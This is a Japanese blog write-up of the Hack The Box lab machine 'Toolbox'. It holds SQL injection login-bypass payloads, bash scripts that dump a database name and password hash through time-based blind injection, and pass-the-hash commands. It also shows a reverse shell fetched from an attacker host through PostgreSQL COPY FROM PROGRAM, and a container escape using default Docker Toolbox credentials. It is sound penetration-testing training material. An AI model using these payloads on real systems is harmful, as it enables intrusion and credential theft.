Hack The Box: Toolboxのwriteup。
またしても不甲斐ない結果に終わった。
脆弱性は早い段階で見つけられたのだが、そこから初期侵入に繋げられず、他所のwriteupを参考にしてなんとか初期侵入に成功。
で、権限昇格のために色々ググっていたら、うっかりネタバレを踏んでしまった。
でも、初期侵入は粘れば自力で達成できたかもしれないが、権限昇格は正直無理だったと思う。
以下はnmapのスキャン結果。
└─$ nmap -Pn -A $RHOST -oG general-portscan.txt
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-14 08:43 EDT
Nmap scan report for 10.129.96.171
Host is up (0.66s latency).
Not shown: 994 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp FileZilla ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-r-xr-xr-x 1 ftp ftp 242520560 Feb 18 2020 docker-toolbox.exe
| ftp-syst:
|_ SYST: UNIX emulated by FileZilla
22/tcp open ssh OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey:
| 2048 5b:1a:a1:81:99:ea:f7:96:02:19:2e:6e:97:04:5a:3f (RSA)
| 256 a2:4b:5a:c7:0f:f3:99:a1:3a:ca:7d:54:28:76:b2:dd (ECDSA)
|_ 256 ea:08:96:60:23:e2:f4:4f:8d:05:b3:18:41:35:23:39 (ED25519)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
443/tcp open tcpwrapped
| ssl-cert: Subject: commonName=admin.megalogistic.com/organizationName=MegaLogistic Ltd/stateOrProvinceName=Some-State/countryName=GR
| Not valid before: 2020-02-18T17:45:56
|_Not valid after: 2021-02-17T17:45:56
|_http-server-header: Apache/2.4.38 (Debian)
| tls-alpn:
|_ http/1.1
|_ssl-date: TLS randomness does not represent time
|_http-title: 400 Bad Request
445/tcp open microsoft-ds?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2025-04-14T12:45:03
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 140.40 seconds
21番ポート (FTP)が開いており、anonymous:anonymousでFTP接続できた。
└─$ ftp $RHOST
Connected to 10.129.96.171.
220-FileZilla Server 0.9.60 beta
220-written by Tim Kosse (tim.kosse@filezilla-project.org)
220 Please visit https://filezilla-project.org/
Name (10.129.96.171:kali): anonymous
331 Password required for anonymous
Password:
230 Logged on
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||53060|)
150 Opening data channel for directory listing of "/"
-r-xr-xr-x 1 ftp ftp 242520560 Feb 18 2020 docker-toolbox.exe
226 Successfully transferred "/"
ftp> ls -la
229 Entering Extended Passive Mode (|||59545|)
150 Opening data channel for directory listing of "/"
-r-xr-xr-x 1 ftp ftp 242520560 Feb 18 2020 docker-toolbox.exe
226 Successfully transferred "/"
ftp> pwd
Remote directory: /
docker-toolbox.exeというファイルを発見したので、getコマンドでダウンロード。どうやらDocker Toolboxのインストーラーらしい。

続いて、nmapのスキャン結果より、443番ポート (HTTPS)にてadmin.megalogistic.comというWebサイトがホストされているようだったので、/etc/hostsファイルに以下のエントリーを追加し、ブラウザでアクセスしてみた。
10.129.96.171 admin.megalogistic.com megalogistic.com

何らかのログイン画面が現れた。
試しにusernameフィールドに以下のSQLインジェクションのペイロードを入力してみた。
admin' or 1=1#'
するとSQLのエラーメッセージが表示された。(見やすいようにメッセージを反転してある)

エラーメッセージより、データベースにPostgreSQLを使用していることが判明。
PostgreSQL用に調整した SQLインジェクションのペイロードをusernameフィールドに入力してみた。
admin' or 1=1--
するとユーザー認証を回避してログインできた。

ダッシュボードをさくっとブラウジングしてみたが、特に有用な情報は見つからなかった。
Time-based SQLインジェクション攻撃でデータベースから情報を窃取することにした。sqlmapを使えば手っ取り早いだろうが、SQLインジェクションの苦手意識を克服するためにも、自前で(以下略
手始めに現在接続しているデータベース名を調べることに。
下記のクエリはデータベース名が何文字かを確認する。結果、データベース名は4文字と判明。
username=admin'; select case when length(CURRENT_DATABASE())=4 then pg_sleep(10) else pg_sleep(0) end from pg_database limit 1--
curl -k -i https://admin.megalogistic.com/ -d "username=admin'; select case when length(CURRENT_DATABASE())=4 then pg_sleep(10) else pg_sleep(0) end from pg_database limit 1--" -d "password=hoge"
次はデータベース名の確認である。手動で総当たりするのは大変なので、以下のスクリプトを書いて実行した。
#!/bin/bash
URL="https://admin.megalogistic.com/"
offset=1
mychar=32
sleeptime=5
length=4
name=''
while [ $(echo -n $name | wc -c) -ne $length ]
do
if [ $mychar -gt 126 ]; then
mychar=32
fi
echo "comparing with $(echo $mychar | awk '{printf("%c",$1)}')"
date1=$(date '+%s')
curl -k -s $URL -d "username=admin'; select case when substring(CURRENT_DATABASE(),$offset,1)=chr($mychar) then pg_sleep($sleeptime) else pg_sleep(0) end from pg_database limit 1--" -d "password=hoge" > /dev/null 2>&1
date2=$(date '+%s')
if [ $(($date2-$date1)) -ge $sleeptime ]; then
myascii=$(echo $mychar | awk '{printf("%c",$1)}') # convert char code to ascii
name=$name$myascii # append identified char to dbname
echo $name
offset=$(($offset + 1))
mychar=33
else
mychar=$(($mychar + 1))
fi
done
結果、データベース名はtestと判明。
./timebase-SQLi_dump_current_dbname.sh
-- <snipped> --
comparing with r
comparing with s
comparing with t
test
続いてデータベースを実行しているユーザー名の確認。決め打ちで以下のクエリを送ったところ、結果は真となった。よってユーザー名はpostgresと判明。
username=admin'; select case when user='postgres' then pg_sleep(10) else pg_sleep(0) end limit 1--
curl -k -i https://admin.megalogistic.com/ -d "username=admin'; select case when user='postgres' then pg_sleep(10) else pg_sleep(0) end limit 1--" -d "password=hoge"
続いてテーブル名の確認。決め打ちでusersテーブルがあるか確認したところ、結果は真となった。
username=admin'; select case when table_name='users' then pg_sleep(10) else pg_sleep(0) end from information_schema.tables limit 1--
curl -k -i https://admin.megalogistic.com/ -d "username=admin'; select case when table_name='users' then pg_sleep(10) else pg_sleep(0) end from information_schema.tables limit 1--" -d "password=hoge"
先述したエラーメッセージよりusersテーブルにはusernameとpasswordというカラムがあると推測できる。また、認証時にパスワードのMD5ハッシュ値を計算しているので、パスワードは平文ではなくMD5ハッシュ化された状態でテーブルに保存されている可能性が高い。
まずは決め打ちでadminというユーザー名が存在するか確認した。結果は真となった。
username=admin'; select case when username='admin' then pg_sleep(10) else pg_sleep(0) end from users limit 1--
curl -k -i https://admin.megalogistic.com/ -d "username=admin'; select case when username='admin' then pg_sleep(10) else pg_sleep(0) end from users limit 1--" -d "password=hoge"
続いてadmin以外のユーザー名が存在するか確認したが、結果は偽となった。
username=admin'; select case when length(username)>1 then pg_sleep(10) else pg_sleep(0) end from users where username != 'admin' limit 1--
curl -k -i https://admin.megalogistic.com/ -d "username=admin'; select case when length(username)>1 then pg_sleep(10) else pg_sleep(0) end from users where username != 'admin' limit 1--" -d "password=hoge"
次に以下のスクリプトを実行して、adminのパスワードのMD5ハッシュ値をダンプしてみた。
#!/bin/bash
URL="https://admin.megalogistic.com/"
offset=1
mychar=32
sleeptime=10
length=32
name=''
while [ $(echo -n $name | wc -c) -ne $length ]
do
echo "comparing with $(echo $mychar | awk '{printf("%c",$1)}')"
date1=$(date '+%s')
curl -k -s $URL -d "username=admin'; select case when substring(password,$offset,1)=chr($mychar) then pg_sleep($sleeptime) else pg_sleep(0) end from users where username = 'admin' limit 1--" -d "password=hoge" > /dev/null 2>&1
date2=$(date '+%s')
if [ $(($date2-$date1)) -ge $sleeptime ]; then
myascii=$(echo $mychar | awk '{printf("%c",$1)}') # convert char code to ascii
name=$name$myascii # append identified char to dbname
echo $name
offset=$(($offset + 1))
mychar=32
else
mychar=$(($mychar + 1))
fi
done
結果、adminのパスワードのMD5ハッシュ値は4a100a85cb5ca3616dcf137918550815と判明。
./timebase-SQLi_dump_admin_hash.sh
-- <snipped> --
comparing with 3
comparing with 4
comparing with 5
4a100a85cb5ca3616dcf137918550815
ハッシュ値をクラックして平文のパスワードを取得できるか試してみたが駄目だった。
hashcat -m 0 4a100a85cb5ca3616dcf137918550815 /usr/share/wordlists/rockyou.txt
Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 0 (MD5)
Hash.Target......: 4a100a85cb5ca3616dcf137918550815
Time.Started.....: Wed Apr 16 08:39:28 2025 (15 secs)
Time.Estimated...: Wed Apr 16 08:39:43 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 1014.6 kH/s (0.22ms) @ Accel:512 Loops:1 Thr:1 Vec:8
Recovered........: 0/1 (0.00%) Digests (total), 0/1 (0.00%) Digests (new)
Progress.........: 14344385/14344385 (100.00%)
Rejected.........: 0/14344385 (0.00%)
Restore.Point....: 14344385/14344385 (100.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: $HEX[206b72697374656e616e6e65] -> $HEX[042a0337c2a156616d6f732103]
Hardware.Mon.#1..: Util: 38%
Started: Wed Apr 16 08:39:26 2025
Stopped: Wed Apr 16 08:39:44 2025
Pass The Hashで標的マシンにログインできるか試してみたが、こちらも駄目。
impacket-psexec -hashes :4a100a85cb5ca3616dcf137918550815 admin@$RHOST cmd.exe
impacket-wmiexec -hashes :4a100a85cb5ca3616dcf137918550815 admin@$RHOST
evil-winrm -u admin -H 4a100a85cb5ca3616dcf137918550815 -i $RHOST
smbclient -L $RHOST -U admin --pw-nt-hash 4a100a85cb5ca3616dcf137918550815
4a100a85cb5ca3616dcf137918550815をハッシュとしてではなく、パスワードとして渡してみたが、やはり駄目。
impacket-psexec admin:4a100a85cb5ca3616dcf137918550815@$RHOST cmd.exe
evil-winrm -u admin -p 4a100a85cb5ca3616dcf137918550815 -i $RHOST
admin:4a100a85cb5ca3616dcf137918550815でSSHやFTP接続できるか試してみたが、駄目。
ssh admin@$RHOST
ftp $RHOST
ネタ切れになったのでヒントを見てみた。以下、ヒント。
Docker Toolbox is used to host a Linux container, which serves a site that is found vulnerable to SQL injection. This is leveraged to gain a foothold on the Docker container.
SQLインジェクションを利用するというアプローチは間違ってないらしい。しかし、そこから一向に先に進めなかったので、他所のwriteupを覗いてみた。
で、どうやらPostgreSQLでは、COPY FROM PROGRAMで外部プログラムを実行できるらしい。
まずは下準備としてテーブルを作成。
CREATE TABLE shell(output text);
で、以下のCOPY命令で任意コマンドを実行できるとのこと
COPY shell FROM PROGRAM '<your command here>';
以下の手順で標的マシンとリバースシェルを張ることが出来た。
まず攻撃マシンにてBashリバースシェル・スクリプトを作成。
└─$ cat myshell
/bin/bash -i >& /dev/tcp/10.10.16.174/53 0>&1
Python HTTPサーバーを起動し、Netcatで接続を待ち受け。
python3 -m http.server 80
rlwrap nc -nvlp 53
コマンド実行の下準備としてshellというテーブルを作成。
curl -k -i https://admin.megalogistic.com/ -d "username=admin'; CREATE TABLE shell(output text); --" -d "password=hoge"
で、以下のコマンドで標的マシンとリバースシェルを張ることが出来た。
curl -k -i https://admin.megalogistic.com/ -d "username=admin'; COPY shell FROM PROGRAM 'curl http://10.10.16.174/myshell | bash'; --" -d "password=hoge"
└─$ rlwrap nc -nvlp 53
listening on [any] 53 ...
connect to [10.10.16.174] from (UNKNOWN) [10.129.235.96] 49787
bash: cannot set terminal process group (344): Inappropriate ioctl for device
bash: no job control in this shell
postgres@bc56e3cc55e9:/var/lib/postgresql/11/main$ whoami
whoami
postgres
postgres@bc56e3cc55e9:/var/lib/postgresql/11/main$
一般ユーザーのフラグ/var/lib/postgresql/user.txtを入手。
postgres@bc56e3cc55e9:/var/lib/postgresql$ ls -la
ls -la
total 32
drwxr-xr-x 1 postgres postgres 4096 Feb 8 2021 .
drwxr-xr-x 1 root root 4096 Feb 19 2020 ..
lrwxrwxrwx 1 root root 9 Feb 8 2021 .bash_history -> /dev/null
lrwxrwxrwx 1 root root 9 Feb 8 2021 .psql_history -> /dev/null
drwx------ 2 postgres postgres 4096 Feb 19 2020 .ssh
drwxr-xr-x 1 postgres postgres 4096 Feb 18 2020 11
-rw-r--r-- 1 root root 43 Feb 8 2021 user.txt
postgres@bc56e3cc55e9:/var/lib/postgresql$ cat user.txt
cat user.txt
f0183e44378ea9774433e<REDACTED> flag.txt
続いて権限昇格である。
システム情報を確認したところ、4.14.154-boot2dockerというカーネル名を発見。
postgres@bc56e3cc55e9:/tmp$ uname -a
uname -a
Linux bc56e3cc55e9 4.14.154-boot2docker #1 SMP Thu Nov 14 19:19:08 UTC 2019 x86_64 GNU/Linux
postgres@bc56e3cc55e9:/tmp$ uname -r
uname -r
4.14.154-boot2docker
FTPにてdocker-toolbox.exeというファイルがホストされていたことも踏まえると、標的マシンではDockerのコンテナが実行されているのであろう。
で、「docker toolbox privilege escalation」でググって色々調べていたら、うっかりネタバレを見てしまった (記事はwriteupと明言されているわけではないが、 スクリーンショットは明らかにToolboxのそれ)。まあいいや、とそのまま読み進めた。
Dockerのコンテナを飛び出して、ホストマシンのファイルにアクセスするには以下のようにすれば良いらしい。
ifconfig等でシステムのIPアドレスを確認する。- 1.で確認したIPサブネットの最小の割り当て可能アドレスにSSH接続する。デフォルトのユーザー名とパスワードは
docker:tcuser
ifconfigでIPアドレスを確認。
postgres@bc56e3cc55e9:/var/lib/postgresql/11/main$ ifconfig
ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.17.0.2 netmask 255.255.0.0 broadcast 172.17.255.255
ether 02:42:ac:11:00:02 txqueuelen 0 (Ethernet)
RX packets 142 bytes 18842 (18.4 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 109 bytes 32625 (31.8 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
loop txqueuelen 1000 (Local Loopback)
RX packets 330 bytes 110427 (107.8 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 330 bytes 110427 (107.8 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
172.17.0.2/16の最小の割り当て可能アドレスは172.17.0.1なので、172.17.0.1にSSH接続する。
postgres@bc56e3cc55e9:/tmp$ ssh docker@172.17.0.1
ssh docker@172.17.0.1
Pseudo-terminal will not be allocated because stdin is not a terminal.
Permission denied, please try again.
Permission denied, please try again.
docker@172.17.0.1: Permission denied (publickey,password,keyboard-interactive).
標準入力がターミナルじゃないと怒られたので、python3 -c 'import pty; pty.spawn("/bin/bash")'でTTYシェルを起動し、再トライ。
postgres@bc56e3cc55e9:/tmp$ python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
postgres@bc56e3cc55e9:/tmp$ ssh docker@172.17.0.1
ssh docker@172.17.0.1
docker@172.17.0.1's password: tcuser
( '>')
/) TC (\ Core is distributed with ABSOLUTELY NO WARRANTY.
(/-_--_-\) www.tinycorelinux.net
docker@box:~$ hostname
hostname
box
入れた。
ルートディレクトリ直下にcというサブディレクトリを発見。
docker@box:~$ cd /
cd /
docker@box:/$ ls -la
ls -la
total 244
drwxr-xr-x 17 root root 440 Apr 29 12:48 .
drwxr-xr-x 17 root root 440 Apr 29 12:48 ..
drwxr-xr-x 2 root root 1420 Apr 29 12:45 bin
drwxr-xr-x 3 root root 60 Apr 29 12:48 c
drwxrwxr-x 14 root staff 4340 Apr 29 12:45 dev
drwxr-xr-x 9 root root 1000 Apr 29 12:48 etc
drwxrwxr-x 4 root staff 80 Apr 29 12:45 home
-rwxr-xr-x 1 root root 496 Oct 19 2019 init
drwxr-xr-x 4 root root 800 Apr 29 12:45 lib
lrwxrwxrwx 1 root root 3 Apr 29 12:45 lib64 -> lib
lrwxrwxrwx 1 root root 11 Apr 29 12:45 linuxrc -> bin/busybox
drwxr-xr-x 4 root root 80 Apr 29 12:45 mnt
drwxrwsr-x 3 root staff 180 Apr 29 12:48 opt
dr-xr-xr-x 155 root root 0 Apr 29 12:45 proc
drwxrwxr-x 2 root staff 80 Apr 29 12:45 root
drwxrwxr-x 6 root staff 140 Apr 29 12:48 run
drwxr-xr-x 2 root root 1300 Apr 29 12:45 sbin
-rw-r--r-- 1 root root 241842 Oct 19 2019 squashfs.tgz
dr-xr-xr-x 13 root root 0 Apr 29 12:45 sys
lrwxrwxrwx 1 root root 13 Apr 29 12:45 tmp -> /mnt/sda1/tmp
drwxr-xr-x 7 root root 140 Apr 29 12:45 usr
drwxrwxr-x 8 root staff 180 Apr 29 12:45 var
rootユーザーのフラグ/c/Users/Administrator/Desktop/root.txtを入手。
docker@box:/c/Users$ cat /c/Users/Administrator/Desktop/root.txt
cat /c/Users/Administrator/Desktop/root.txt
cc9a0b76ac17f8f4752<REDACTED>